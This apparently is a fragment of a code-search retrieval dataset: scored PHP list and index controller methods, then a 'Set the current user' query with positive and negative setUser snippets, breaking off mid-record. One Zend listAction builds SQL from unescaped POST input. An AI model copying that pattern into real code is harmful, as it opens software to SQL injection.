"0.67018956", "text": "public function actionList()\n {\n if (!Parameters::hasParam('type'))\n throw new APIException('Invalid resource TYPE (parameter name: \\'type\\')', APIResponseCode::API_INVALID_METHOD_PARAMS);\n \n// if (!Parameters::hasParam('devkey'))\n// throw new APIException('Invalid application DEVELOPER KEY (parameter name: \\'devkey\\')', APIResponseCode::API_INVALID_METHOD_PARAMS);\n \n $resource_type = Parameters::get('type');\n// $devkey = Parameters::get('devkey');\n \n $finder = new YiiResourceFinder($resource_type);\n// $finder->setDevKey($devkey);\n $result = $finder->findAll();\n \n $dataSet = array();\n foreach ($result as $object) {\n $dataSet[] = $object->getAttributes();\n }\n \n $format = Parameters::hasParam('format') ? Parameters::get('format') : 'json';\n $coder = ObjectCodingFactory::factory()->createObject($format);\n if ($coder === null)\n throw new APIException('Invalid Coder for format', APIResponseCode::API_INVALID_CODER);\n \n $response = $coder->encode($dataSet);\n \n echo $response;\n }", "title": "" }, { "docid": "81277fc0f68d7bdc3634177cde0439a7", "score": "0.66943973", "text": "public function list()\n {\n $books = Book::visible();\n\n return $this->apiListingResponse($books, [\n 'id', 'name', 'slug', 'description', 'created_at', 'updated_at', 'created_by', 'updated_by', 'owned_by', 'image_id',\n ]);\n }", "title": "" }, { "docid": "7c934a7b8506c7db64d5ad367d48f525", "score": "0.6692943", "text": "public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Servers list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the servers.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/servers/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Servers::grid() )->datagrid ();\n\t}", "title": "" }, { "docid": "59dfb79d5d5452f4f70e9cf4eec1e070", "score": "0.66803515", "text": "public function index()\n {\n //Get Articles\n\n $articles = Articles::paginate(15);\n\n // Return collection of articles as a resource\n return ArticlesResource::collection($articles);\n \n }", "title": "" }, { "docid": "88425de2823c6c6b170f46c36cff4af3", "score": "0.6677779", "text": "public function index()\n {\n $this->callHook('beforeIndex');\n $this->crud->hasAccessOrFail('list');\n\n $this->data[ 'crud' ] = $this->crud;\n $this->data[ 'title' ] = ucfirst($this->crud->entity_name_plural);\n\n // get all entries if AJAX is not enabled\n if ( !$this->data[ 'crud' ]->ajaxTable() ) {\n $this->data[ 'entries' ] = $this->data[ 'crud' ]->getEntries();\n }\n\n $this->callHook('afterIndex');\n\n // load the view from /resources/views/vendor/backpack/crud/ if it exists, otherwise load the one in the package\n return view($this->crud->getListView(), $this->data);\n }", "title": "" }, { "docid": "345876c650e46751471c85aa681fe81d", "score": "0.6673378", "text": "public function index()\n {\n //Get employees\n $employees = Employee::Paginate(15);\n //Return Employees as collection\n return EmployeeResource::collection($employees);\n }", "title": "" }, { "docid": "637eadb6ce19bd72fb45f6d4655ad277", "score": "0.66667867", "text": "public function listAction(){\r\n $userRepository = new \\Itb\\Model\\UserRepository();\r\n $users = $userRepository->getAll();\r\n\r\n $argsArray = ['users' => $users];\r\n $templateName = 'list';\r\n return $this->app['twig']->render($templateName . '.html.twig', $argsArray);\r\n }", "title": "" }, { "docid": "f3eff99c83c1adfe50ea93c0e478d078", "score": "0.66651416", "text": "public function index()\n {\n $students = Student::all();\n return (new StudentResourceCollection($students))->response();\n }", "title": "" }, { "docid": "4cfaa693b1306205053c160e2512565f", "score": "0.66650486", "text": "public function index()\n {\n $employees = Employee::all();\n return EmployeeForListResource::collection($employees);\n }", "title": "" }, { "docid": "f7578349cae5019055b4943e15786163", "score": "0.6661141", "text": "public function index()\n {\n //Get product\n $product = Products::paginate(15);\n \n //Return collection of product as a resource\n return ProductsResource::collection($product);\n }", "title": "" }, { "docid": "6f716fb0d645620791c39e3c2af2b242", "score": "0.66564786", "text": "function index() {\n Event::run('system.404');\n if ( ! A2::instance()->allowed('recruit', 'manage'))\n Event::run('system.403');\n \n $this->title = 'Manage Recruitment Lists';\n $this->lists = ORM::factory('recruit_list')->get();\n }", "title": "" }, { "docid": "5048b1d929efd7b88543fcf092cf843a", "score": "0.66558444", "text": "public function index()\n {\n return response(\n RecipeList::all()\n );\n }", "title": "" }, { "docid": "78496e0d8128f2673df1944c04d854e7", "score": "0.6653842", "text": "public function index()\n {\n $results = $this->Paginator->paginate($this->Results->find()->order(['created' => 'DESC']));\n $this->set(compact('results'));\n }", "title": "" }, { "docid": "2947b2c8c3c02fb9550821c40f31fc67", "score": "0.6650542", "text": "function list() {\n $data = $this->handler->handleList();\n\n $page = new Page(\"Roles\", \"Roles\");\n $page->top();\n\n listView($data);\n\n $page->bottom();\n }", "title": "" }, { "docid": "a2a6ac8b209515c5bee6b4f54354fdf5", "score": "0.66499305", "text": "public function index()\n {\n return LivreResource::collection(Livre::paginate(25));\n }", "title": "" }, { "docid": "726c696b08b65fb98a73b42e4ea85b29", "score": "0.6629493", "text": "public function index()\n {\n $products = Product::paginate(10);\n\n return ProductResource::collection($products);\n\n }", "title": "" }, { "docid": "c790cdb69ca9826f2d216ed3504b7bf4", "score": "0.66200316", "text": "public function list_( $args = array(), $assoc_args = array() ) {\n\n\t\t$assoc_args['all'] = 1;\n\n\t\t$this->get( $args, $assoc_args );\n\t}", "title": "" }, { "docid": "1d411fb7a37e8af4ad44010eef0ae6f9", "score": "0.66184205", "text": "public function index()\n {\n // Get the paginator using the parent API\n $paginator = $this->api()->index();\n\n // Show collection as a paginated table\n $collection = $paginator->getCollection();\n return $this->content('index', compact('paginator', 'collection'));\n }", "title": "" }, { "docid": "7d5ab4818059473cc9dd3d9aa19144cc", "score": "0.6611835", "text": "public function index()\n {\n $layanan = Layanan::paginate('15');\n return LayananResource::collection($layanan);\n }", "title": "" }, { "docid": "5284e0e8a629d94b2c297dec365035f8", "score": "0.6611247", "text": "function index(){\n\n\t\t$this->post_listing($start=0);\n\n\t}", "title": "" }, { "docid": "0b23f3dc133820a3f769ef803e71d588", "score": "0.6609974", "text": "public function listAction()\n\t{\n\t\t$module = $this->_useModules ? $this->_moduleName.'/' : '';\n\t\t\n\t\tZend_Paginator::setDefaultScrollingStyle('Sliding');\n\n\t\tZend_View_Helper_PaginationControl::setDefaultViewPartial('list.phtml');\n\n\t\t$this->_currentPage = $this->_getParam('page',1);\n\t\t$this->_currentPage = $this->_currentPage < 1 ? 1 : $this->_currentPage;\n\n\t\t$where = isset($this->_post->key) ? ($this->_post->key.\" like '%\".$this->_post->value.\"%'\") : null;\n\n\t\tif ($where == null)\n\t\t{\n\t\t\t$select = $this->_model->select()->\n\t\t\torder($this->_model->getOrderField())->\n\t\t\tlimit($this->_itemsPerPage,($this->_currentPage-1)*$this->_itemsPerPage);\n\t\t}\n\t\telse\n\t\t{\n\t\t\t$select = $this->_model->select()->\t\t\n\t\t\twhere($where)->\n\t\t\torder($this->_model->getOrderField())->\n\t\t\tlimit($this->_itemsPerPage,($this->_currentPage-1)*$this->_itemsPerPage);\t\t\t\n\t\t}\t\t\n\t\t\n\t\t$rows = $this->_model->fetchAll($select);\t\t\n\n\t\t$profile = $this->_profiler->getLastQueryProfile();\n\n\t\t$paginator = Zend_Paginator::factory($rows);\n\n\t\t$paginator->setCurrentPageNumber($thi->_currentPage)\n\t\t\t\t\t->setItemCountPerPage($this->_itemsPerPage);\n\t\t\n\t\t/** TODO get total of records for $totalOfItems \n\t\t * @var unknown_type\n\t\t */\n\t\t$totalOfItems = $this->_itemsPerPage;\n\n\t\t$this->_lastPage = (int)(($totalOfItems/$this->_itemsPerPage));\n\n\t\t$html = new Fgsl_Html();\n\n\t\t$html->addDecorator(Fgsl_Html_Constants::HTML_DECORATOR_TABLE);\n\n\t\t$records = array();\n\n\t\t$fieldKey = $this->_model->getFieldKey();\n\n\t\t$currentItems = $paginator->getCurrentItems();\n\t\tforeach ($currentItems as $row)\n\t\t{\n\t\t\t$records[] = array();\n\t\t\t\t\n\t\t\t$id = $row->$fieldKey;\n\t\t\t$records[count($records)-1][$this->_model->getFieldLabel($fieldKey)] = '<a href=\"'.BASE_URL.$module.$this->_controllerAction.'/edit/'.$fieldKey.'/'.$id.'\">'.$id.'</a>';\n\t\t\t\t\n\t\t\tforeach ($this->_fieldNames as $fieldName)\n\t\t\t{\n\t\t\t\tif ($fieldName == $fieldKey) continue;\n\t\t\t\t$records[count($records)-1][$this->_model->getFieldLabel($fieldName)] = $row->$fieldName;\n\t\t\t}\n\t\t\t\t\n\t\t\t$records[count($records)-1]['remove'] = '<a href=\"'.BASE_URL.$module.$this->_controllerAction.'/remove/'.$fieldKey.'/'.$id.'\">X</a>';\n\t\t}\n\t\t$this->_model->setRelationships($records);\t\t\n\t\t\n\t\t$this->_table = $html->create($records,Fgsl_Html_Constants::HTML_DECORATOR_TABLE);\t\t\n\n\t\t$this->configureViewAssign();\n\t\t$this->_view->render('list.phtml');\n\t}", "title": "" }, { "docid": "25424750ec44aa26547175ff6ccff0e1", "score": "0.66043633", "text": "public function index()\n {\n $posts = Post::listAllPublished();\n\n return PostResourceListing::collection($posts)->additional(['message' => 'ok', 'success' => true]);\n }", "title": "" }, { "docid": "7848eedd65d74e3882f897e7b74ca571", "score": "0.65999943", "text": "public function apiListsAction() {\n\t\t$api = $this->_param( 'api' );\n\n\t\tif ( ! $api || ! array_key_exists( $api, Thrive_Dash_List_Manager::available() ) ) {\n\t\t\texit();\n\t\t}\n\t\t$connection = Thrive_Dash_List_Manager::connectionInstance( $api );\n\n\t\techo $this->_view( 'partials/api-lists', array(\n\t\t\t'selected_api' => $connection,\n\t\t\t'connection' => $connection,\n\t\t\t'lists' => $connection->getLists( $this->_param( 'force_fetch' ) ? false : true )\n\t\t) );\n\n\t\texit();\n\t}", "title": "" }, { "docid": "71c5dbf8452cd67d212ff39d40f0c37d", "score": "0.65966225", "text": "public function index()\n {\n $students = Student::all();\n return StudentResource::collection($students);\n }", "title": "" }, { "docid": "15871bf4ada7393bc878944a01d437da", "score": "0.6594662", "text": "public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_role->get_all();\n\t\t$this->template->set('title', 'Role List');\n\t\t$this->template->load('template', 'contents', 'role/list', $data);\n\t}", "title": "" }, { "docid": "41f78864c980c5b1e66654bd42f82083", "score": "0.65942985", "text": "public function listAction ()\n {\n $lans = new Application_Model_Mapper_LansMapper();\n $currentLans = $lans->fetchCurrent();\n $comingLans = $lans->fetchComing();\n $passedLans = $lans->fetchPassed();\n $this->view->currentLans = $currentLans;\n $this->view->comingLans = $comingLans;\n $this->view->passedLans = $passedLans;\n return;\n }", "title": "" }, { "docid": "af4f1232545bca0bcf287f1972d50981", "score": "0.6587391", "text": "public function listingAction() {\n\t\t$viewer = Engine_Api::_ ()->user ()->getViewer ();\n\t\t$params = $this -> _getAllParams();\n\t\t$ids = array ();\n\t\t// Do the show thingy\n\t\tif (isset($params ['by_authors'] ) && in_array('networks', $params['by_authors'])) \n\t\t{\n\t\t\t// Get an array of user ids\n\t\t\t\n\t\t\t$network_table = Engine_Api::_()->getDbtable('membership', 'network');\n \t\t$network_select = $network_table->select()->where('user_id = ?', $viewer -> getIdentity());\n \t\t$networks = $network_table->fetchAll($network_select);\n\t\t\tforeach($networks as $network)\n\t\t\t{\n\t\t\t\t$network_select = $network_table->select()->where('resource_id = ?', $network -> resource_id) -> where(\"active = 1\");\n \t\t\t$users = $network_table->fetchAll($network_select);\n\t\t\t\tforeach ( $users as $user ) {\n\t\t\t\t\t$ids [] = $user->user_id;\n\t\t\t\t}\n\t\t\t}\n\t\t\t\n\t\t}\n\t\tif (isset($params ['by_authors'] ) && in_array('professional', $params['by_authors'])) \n\t\t{\n\t\t\t$userIds = Engine_Api::_() -> user() -> getProfessionalUsers();\n\t\t\tforeach ($userIds as $id) {\n\t\t\t\t$ids [] = $id;\n\t\t\t}\n\t\t}\n\t\t\n\t\t$params ['users'] = $ids;\n\t\t\n\t\t// Get blog paginator\n\t\t$paginator = Engine_Api::_ ()->ynblog ()->getBlogsPaginator ( $params );\n\t\t$items_per_page = Engine_Api::_ ()->getApi ( 'settings', 'core' )->getSetting ( 'ynblog.page', 10 );\n\t\t$paginator->setItemCountPerPage ( $items_per_page );\n\n\t\tif (isset ( $params ['page'] )) {\n\t\t\t$paginator->setCurrentPageNumber ( $params ['page'] );\n\t\t}\n\t\t$this->view->paginator = $paginator;\n\t\t// Render\n\t\t$this->_helper->content->setEnabled ();\n\t}", "title": "" }, { "docid": "ca351a6c1fb5996a24802e4695371409", "score": "0.6585022", "text": "public function index()\n {\n $students = Student::all();\n \n return $this->sendResponse(StudentResource::collection($students), 'Students retrieved.');\n }", "title": "" }, { "docid": "ee362204073e5cbb647d776b2ab10940", "score": "0.6583899", "text": "public function indexAction()\n {\n $this->display();\n }", "title": "" }, { "docid": "ee0f12e894ffa19b553c5842d61bc92f", "score": "0.65838", "text": "public function list()\n {\n return view('Demo::list');\n }", "title": "" }, { "docid": "7e85268d6b01a017717a7d038d6b5c73", "score": "0.65802336", "text": "public function index()\n {\n $book = Book::paginate(2);\n return BookResource::collection($book);\n }", "title": "" }, { "docid": "8fd0dba76f9273c1033b432a513959af", "score": "0.65758175", "text": "public function doRestList()\n {\n $this->renderJson(array('success'=>true, 'message'=>'Records Retrieved Successfully', 'data'=>$this->getModel()->findAll()));\n }", "title": "" }, { "docid": "939f04db957f01973a6f0fa7f41c4007", "score": "0.657049", "text": "public function index()\n {\n $cond = Resource::where('id', '>', -1);\n $resources = $cond->get();\n\n $deviceList = [];\n foreach ($resources as $resource) {\n $data = [];\n $data['id'] = $resource->id;\n $data['name'] = $resource->name;\n $data['size'] = $resource->size;\n $data['created_at'] = $resource->created_at;\n\n array_push($deviceList, $data);\n }\n\n return view('resources', array('resources' => $deviceList));\n }", "title": "" }, { "docid": "d3d661b18964ba7ea7a108ea11a1a8a3", "score": "0.6568526", "text": "public function list ()\n {\n // Récupération de TOUS les articles avec le REPOSITORY\n // 1. Récupération du repository Article\n $articleRepository = $this->getDoctrine()\n ->getRepository(Article::class);\n\n // 2. Appel à la fonction findAll\n $liste = $articleRepository->findAll();\n\n // Renvoi de la liste à la vue\n return $this->render('article/list.html.twig', [\n 'listeArticles' => $liste\n ]);\n }", "title": "" }, { "docid": "7b5e2b301434be8bca6abbff68773c36", "score": "0.6567384", "text": "public function index()\n {\n return ProductResource::collection(Product::paginate(10));\n }", "title": "" }, { "docid": "81cae78d81b024602d92e06f78dd089e", "score": "0.65654266", "text": "public function list() {\n $article = new article();\n echo \"<h2 class='text-center m-5 border-bottom border-dark pb-5'>la page qui affiche la liste des articles</h2>\";\n $articleManager = $this->getDoctrine()->getRepository(article::class);\n $articles = $articleManager->findById();\n return $this->render('listeView.html.twig', ['articles' => $articles]);\n }", "title": "" }, { "docid": "b06d85985f7ef908e89d4534e8f29c97", "score": "0.6552259", "text": "public function index()\n {\n\t\t\treturn $this->respond($this->model\n ->orderBy('created_at', 'asc')\n ->findAll());\n }", "title": "" }, { "docid": "4d53d7254450e0c10db064ccddb74ae9", "score": "0.6551876", "text": "public function showAction()\n {\n $list = $this->listFactory->createList($this->dataBackend, $this->configurationBuilder);\n $renderedCaptions = $this->rendererChain->renderCaptions($list->getListHeader());\n $columnSelector = $this->columnSelectorFactory->getInstance($this->configurationBuilder);\n\n $this->view->assign('columnSelector', $columnSelector);\n $this->view->assign('listHeader', $list->getListHeader());\n $this->view->assign('listCaptions', $renderedCaptions);\n }", "title": "" }, { "docid": "e6be331bf6ee794db504703782e4abe5", "score": "0.65461046", "text": "public function index()\n {\n $items = Item::all();\n return view('list',compact('items'));\n }", "title": "" }, { "docid": "e8f09968b69af986e66d5cd3f404f3ad", "score": "0.6535171", "text": "public static function list() {\n $data = [\n 'pages' => PageService::get()\n ];\n\n Twig::render('pillar/layouts/pillar-pages', $data);\n }", "title": "" }, { "docid": "497bb71da959ab5e52433887d4acf412", "score": "0.6525618", "text": "public function listAction()\r\n {\r\n $form_data = $this->request->getArguments();\r\n \r\n $settings = GeneralUtility::makeInstance(ConfigurationObject::class);\r\n $itemsPerPage = (int)$settings->getPaginateItemsPerPage();\r\n\r\n if($form_data) {\r\n $objects = $this->objectimmoRepository->getAllObjectsBySearch($form_data);\r\n } else {\r\n $objects = $this->objectimmoRepository->getAllObjects();\r\n }\r\n \r\n $GLOBALS['TSFE']->fe_user->setKey('ses', 'search', $form_data);\r\n \r\n $count_objects = count($objects);\r\n\r\n $this->view->assign('objects', $objects);\r\n $this->view->assign('count_objects', $count_objects);\r\n $this->view->assign('itemsPerPage', $itemsPerPage);\r\n }", "title": "" }, { "docid": "365ef354e23f522e48d950c7ede25035", "score": "0.65234184", "text": "public function listAction()\n {\n return $this->render('task/list.html.twig',\n ['tasks' => $this->getDoctrine()->getRepository('AppBundle:Task')->findAllTask()]\n );\n }", "title": "" }, { "docid": "50b4e9cfb2f2db278dc000419368b6b9", "score": "0.65208316", "text": "public function index()\n {\n //Using Eloquent to get all the news in latest order. This is wil expose all the data\n //return Questions::latest()->get();\n\n //Use pagination\n //return Questions::latest()->paginate(1);\n\n //Using the \"QuestionResource\" API Resource wrapper to expose only the specified data without pagination\n //return QuestionResource::collection(Questions::latest());\n\n //Using the \"QuestionResource\" API Resource wrapper to expose only the specified data with pagination - set to return 5 items per page\n return QuestionResource::collection(Questions::latest()->paginate(5));\n\n }", "title": "" }, { "docid": "889d04be26f484433ced3afeb258119e", "score": "0.6518248", "text": "public function index()\n {\n return EmployeeResource::collection(Employee::paginate(10));\n }", "title": "" }, { "docid": "4ba8a9b727755a6ba7f5d1c4a619aff0", "score": "0.65151894", "text": "public function index()\n {\n return ReadingListBookResource::collection(ReadingListBook::all());\n }", "title": "" } ]
1d0a090be11c3d9e9014f4e73decb249
Set the current user.
[ { "docid": "f0b645dd516b39303b78ec7a8c782db4", "score": "0.0", "text": "public static function setUser($user){\n \\Illuminate\\Auth\\Guard::setUser($user);\n }", "title": "" } ]
[ { "docid": "ab87ebddee29e4a423852361eaec34a1", "score": "0.8020858", "text": "protected function set_current_user()\n\t{\n\t\tif (class_exists('Auth'))\n\t\t{\n\t\t\t// Load our current logged in user for convenience\n\t\t\tif ($this->auth->is_logged_in())\n\t\t\t{\n\t\t\t\t$this->current_user = clone $this->auth->user();\n\n\t\t\t\t$this->current_user->user_img = gravatar_link($this->current_user->email, 22, $this->current_user->email, \"{$this->current_user->email} Profile\");\n\n\t\t\t\t// if the user has a language setting then use it\n\t\t\t\tif (isset($this->current_user->language))\n\t\t\t\t{\n\t\t\t\t\t$this->config->set_item('language', $this->current_user->language);\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Make the current user available in the views\n\t\t\tif (!class_exists('Template'))\n\t\t\t{\n\t\t\t\t$this->load->library('Template');\n\t\t\t}\n\t\t\tTemplate::set('current_user', $this->current_user);\n\t\t}\n\t}", "title": "" }, { "docid": "9c406f16b45b51ef956668b75c66904a", "score": "0.7659353", "text": "public function setCurrentUser($user){\n $this->user = $user;\n }", "title": "" }, { "docid": "c44e0b59644d3361b697603b7074e088", "score": "0.74369335", "text": "public function setUser()\n\t{\n\t\t$user = User::getInstance();\n\t\t\n\t\tif ( $this->session->get( 'user_id' ) ) {\n\t\t\t$user->set( 'id', $this->session->get( 'user_id' ) );\n\t\t\t$user->read();\n\t\t}\n\t}", "title": "" }, { "docid": "3f8ce88f638bfd24105a02dc6d8c945a", "score": "0.7318989", "text": "public function setCurrentUser($user){\n $_SESSION['user'] = $user;\n }", "title": "" }, { "docid": "5416bbb47029c82227919b356594c1a9", "score": "0.72022194", "text": "public function set_user($user) {\n $this->user = $user;\n }", "title": "" }, { "docid": "331d5e6ff59028f05648f830db8a2f88", "score": "0.7186514", "text": "public function setCurrentUserId($currentUserId){\n $this->currentUserId = $currentUserId;\n }", "title": "" }, { "docid": "73495007c3b0b4edb29180116ea51ea3", "score": "0.7128238", "text": "function set_current_user($id, $name = '')\n {\n }", "title": "" }, { "docid": "6f6348aa1e2bf449ea0ae3f199c451ef", "score": "0.71238965", "text": "function set_user($user)\n\t{\n\t\t$this->user=$user;\n\t}", "title": "" }, { "docid": "378525a2f46635a25d35372b27bc4c15", "score": "0.71223164", "text": "public function setCurrentUser($name);", "title": "" }, { "docid": "1ba374262e543c66661e96e154593f25", "score": "0.7103973", "text": "static function setCurrentUser($CurrentUser) {\n Ak::_staticVar('CurrentUser', $CurrentUser);\n }", "title": "" }, { "docid": "36183b4cf1a8ad701be70a2c94cbe4fb", "score": "0.7041098", "text": "function set_user($user)\r\n {\r\n $this->set_default_property(self :: PROPERTY_USER, $user);\r\n }", "title": "" }, { "docid": "36183b4cf1a8ad701be70a2c94cbe4fb", "score": "0.7041098", "text": "function set_user($user)\r\n {\r\n $this->set_default_property(self :: PROPERTY_USER, $user);\r\n }", "title": "" }, { "docid": "de28c1b0027743744bafb9947005c028", "score": "0.7019285", "text": "public function set_current_user($userdata)\n\t{\n\t\t$this->CI->session->set_userdata('userid', $userdata['id']);\n\t\t$this->current_user = $userdata;\n\t}", "title": "" }, { "docid": "c17e8dfc3ab1388b41c81bacb25b74fa", "score": "0.70100904", "text": "function wp_set_current_user($id, $name = '')\n {\n }", "title": "" }, { "docid": "84abf434114484af9184f6a3f745b334", "score": "0.6999731", "text": "public function setUser($user)\n {\n $this->user = Auth::user();\n }", "title": "" }, { "docid": "b024c5f702b958af019acbb6d3123683", "score": "0.69996727", "text": "public function set_current_user_id($id)\n {\n $this->current_user_id = $id;\n }", "title": "" }, { "docid": "1673053fdea02399768467e7d65af1ce", "score": "0.6939032", "text": "function setUser( $user )\r\n {\r\n if ( is_a( $user, \"eZUser\" ) )\r\n {\r\n $userID = $user->id();\r\n\r\n $this->UserID = $userID;\r\n }\r\n }", "title": "" }, { "docid": "62ab6961f563cfb8d197cb08aa79f6dd", "score": "0.68884206", "text": "private function __setAuthUser()\n {\n $authUser = $this->request->session()->read('Auth');\n\n $accountType = 'FREE';\n if (!empty($authUser)) {\n $accountType = $authUser['User']['account_type'];\n }\n\n $this->set(compact('authUser', 'accountType'));\n }", "title": "" }, { "docid": "cb520f08426a20ff2d6f27ba19c4075b", "score": "0.6870009", "text": "public function getCurrentUser()\n {\n $userId = Security::getUserId();\n if (!empty($userId)) {\n $this->uid = $userId;\n }\n }", "title": "" }, { "docid": "a1cf2e944bf7c9f9c87996f096f4f648", "score": "0.6842288", "text": "public function setUser( $user )\r\n {\r\n $this->_user = $user;\r\n }", "title": "" }, { "docid": "7b82f731322671ecc6c62b77e015190c", "score": "0.6828989", "text": "public function setUser($user)\n {\n $this->_user = $user;\n }", "title": "" }, { "docid": "ec875fac52a10ba429577f1b5a4a1903", "score": "0.68202883", "text": "public function setUser($user) {\r\n\t\t$this->user = $user;\r\n\t}", "title": "" }, { "docid": "827719ecc48e002d9cf920a06e09df0e", "score": "0.68192255", "text": "public function setUser($user = null) {\n if (empty($user)) {\n $this->user = $this->Auth->user();\n } else {\n $this->user = $user;\n }\n }", "title": "" }, { "docid": "d6ec636cd96c3520f2a9e38771dcf411", "score": "0.6808983", "text": "public function setUser($user) {\n\n $this->user = $user;\n }", "title": "" }, { "docid": "0dbf401535e159bf0e682acd6da577a0", "score": "0.6780565", "text": "private function __setUser() {\n // Create the (helper) user object from the authenticated subject if present\n $subject = \\Native5\\Identity\\SecurityUtils::getSubject();\n if ($subject->isAuthenticated()) {\n $this->user = \\Akzo\\User\\Service::getInstance()->getUser(\n $subject->getPrincipal()['username'],\n $subject\n );\n }\n }", "title": "" }, { "docid": "9c6fb4f26462be43dd47e7b96140e2f7", "score": "0.67720056", "text": "public function setLoggedUser(){\n\t\tif(isset($_SESSION['ccUser']) && !empty($_SESSION['ccUser'])){\n\t\t\t$id = $_SESSION['ccUser'];\n\n\t\t\t$sql = $this->db->prepare(\"SELECT * FROM users WHERE id = :id\");\n\t\t\t$sql->bindValue(':id', $id);\n\t\t\t$sql->execute();\n\n\t\t\tif($sql->rowCount() > 0){\n\t\t\t\t$this->userInfo = $sql->fetch();\n\t\t\t\t$this->permissions = new Permissions();\n\t\t\t\t$this->permissions->setGroup($this->userInfo['id_group']);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "9c6fb4f26462be43dd47e7b96140e2f7", "score": "0.67720056", "text": "public function setLoggedUser(){\n\t\tif(isset($_SESSION['ccUser']) && !empty($_SESSION['ccUser'])){\n\t\t\t$id = $_SESSION['ccUser'];\n\n\t\t\t$sql = $this->db->prepare(\"SELECT * FROM users WHERE id = :id\");\n\t\t\t$sql->bindValue(':id', $id);\n\t\t\t$sql->execute();\n\n\t\t\tif($sql->rowCount() > 0){\n\t\t\t\t$this->userInfo = $sql->fetch();\n\t\t\t\t$this->permissions = new Permissions();\n\t\t\t\t$this->permissions->setGroup($this->userInfo['id_group']);\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "19198b0f94dd57cfb1da697df02bd03d", "score": "0.676724", "text": "public function setUser($user){\n\t\t$this->user = $user;\n\t}", "title": "" }, { "docid": "90d8cb8f3156077857f38825aa534252", "score": "0.6745", "text": "public function getCurrentUser(){\n $currentUser = $_SESSION['userdata'];\n\n // Sets the user object\n $this->setUser($currentUser->control);\n\n }", "title": "" }, { "docid": "17f0dc56943ff0d30cc11a44bf7ec422", "score": "0.67412144", "text": "function setUser($usr) \n {\n\t\t\t$this->user = ((empty($usr)) ? \"root\" : $usr);\n\t\t}", "title": "" }, { "docid": "77252fe75b6fb15d9a47d7685c46c2ec", "score": "0.6737507", "text": "public function setUser($user)\n {\n $this->_user = $user;\n }", "title": "" }, { "docid": "802309867ad1478a1fedadb7b977531d", "score": "0.6717893", "text": "public function setUser($value)\n {\n if ($value !== null) {\n $this->_user = $value;\n } else {\n $this->_user = Zend_Gdata_Photos::DEFAULT_USER;\n }\n }", "title": "" }, { "docid": "6059bb417ff4344fb160e73cb95adce1", "score": "0.6685971", "text": "function setUser($user) {\n $this->userObject = $user;\n }", "title": "" }, { "docid": "2c79c40ef96d158cc5f379eb1f6fc4af", "score": "0.6683614", "text": "public function setUser($user = null)\n {\n $this->user = $user;\n }", "title": "" }, { "docid": "bc511b9f6e7230ebf09e27d370be7195", "score": "0.66336435", "text": "public function setCurrentUser(Apt_Model_User $_user)\n {\n $this->_currentUser = $_user;\n return $this;\n }", "title": "" }, { "docid": "e6a5afc793b3653e7f4fae011b7d3a75", "score": "0.66324043", "text": "public function set()\n\t{\n\t\t$this->created_at = date(TIMESTAMP_FORMAT);\n $user = new SessionUser();\n\t\t$this->created_by = $user->getID();\t\t\n\t}", "title": "" }, { "docid": "de0718da445d1ff6ee7a08d4b56a7574", "score": "0.6612206", "text": "function setLoggedUser(pclib\\AuthUser $user)\n{\n\t$this->loggedUser = $user;\n\t$this->setSessionUser($user);\n}", "title": "" }, { "docid": "bfb6cd3cfccee388097477251d0a2fa6", "score": "0.65723526", "text": "public static function setUser($user){\n $_SESSION[\"user\"] = $user;\n }", "title": "" }, { "docid": "5a6b78eac0d74bd9af16243f2eebc269", "score": "0.6542199", "text": "protected function setupAdminUser()\n {\n $GLOBALS['current_user'] = \\BeanFactory::getBean('Users')->getSystemUser();\n }", "title": "" }, { "docid": "0c3b0dd7cfb4975e852c9d5b681c4eec", "score": "0.654128", "text": "public function setUser( User $user ) {\n\t\t$this->user = $user;\n\t}", "title": "" }, { "docid": "23a4c59dd807a50af66c50da05ebdbc8", "score": "0.65301335", "text": "function SetUser(&$user)\n\t{\n\t\t$this->userId = $user->userId;\n\t}", "title": "" }, { "docid": "0fa62a0144a1c25f95d92df91d7467ab", "score": "0.6522716", "text": "public function setUserId() {\n $this->user_id = $user_id;\n }", "title": "" }, { "docid": "40fbafea9f9499a77aba026d9d60ef39", "score": "0.6497519", "text": "private function setLoggedinUser($userId)\n {\n echo \"setting logged user\";\n $user = new User($userId, $this->db);\n $_SESSION['auth'] = $user->getUserObject();\n header(\"Refresh:0\");\n }", "title": "" }, { "docid": "f4cb735790fd38ebe611b2f1edbe4cf2", "score": "0.6484304", "text": "public function setUser($info)\n {\n self::set('_user', $info);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", "score": "0.6468988", "text": "public function setUser($value)\n {\n return $this->set('User', $value);\n }", "title": "" }, { "docid": "a1763a9185ebc7c549212f60d20d7183", 